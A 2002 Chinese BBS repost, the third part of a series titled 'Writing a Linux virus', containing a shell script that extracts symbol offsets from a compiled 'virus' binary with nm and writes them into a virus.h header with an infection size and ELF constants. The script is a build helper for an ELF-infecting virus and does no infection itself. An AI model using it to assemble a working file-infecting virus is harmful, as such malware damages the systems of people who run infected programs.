荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: jjk (UNIX+C+XML+?? 傻了?), 信区: Linux
标  题: 写一只Linux病毒(3) makeh(转寄)[转载]
发信站: 荔园晨风BBS站 (Wed Apr 24 18:09:52 2002), 转信

【 以下文字转载自 jjk 的信箱 】
【 原文由 jjk.bbs@apue.dhs.org 所发表 】
发信人: lgx (lgx), 信区: CompSci
标  题: 写一只Linux病毒(3) makeh
发信站: UNIX编程 (2002年04月22日17:05:21 星期一), 站内信件

#!/bin/sh

START=`nm -td virus | grep -w _start | cut -f1 -d ' '`
END=`nm -td virus | grep -w _end | cut -f1 -d ' '`
OLDENTRY=`nm -td virus | grep -w old_entry | cut -f1 -d ' '`
RELOCPOS=`nm -td virus | grep -w relocpos | cut -f1 -d ' '`

VOFF=`expr $START - 134512640`
VLEN=`expr $END - $START - 4096`
OLD_ENTRY=`expr $OLDENTRY - $START + 1`
DIFF=`expr $RELOCPOS - $START`

echo "#define VOFF              $VOFF" > virus.h
echo "#define VLEN              $VLEN" >> virus.h
echo >> virus.h
echo "#define OLD_ENTRY $OLD_ENTRY" >> virus.h
echo "#define DIFF              $DIFF" >> virus.h
echo >> virus.h
echo "#define INFECTION_SIZE    0x1000" >> virus.h
echo "#define EI_MAG10          10"     >> virus.h
echo "#define ELFMAG10          2"      >> virus.h
--
※ 来源:·UNIX编程 apue.dhs.org·[FROM: 202.108.200.52] --
※ 转寄:·UNIX编程 apue.dhs.org·[FROM: 210.39.3.50]
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.0.146]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店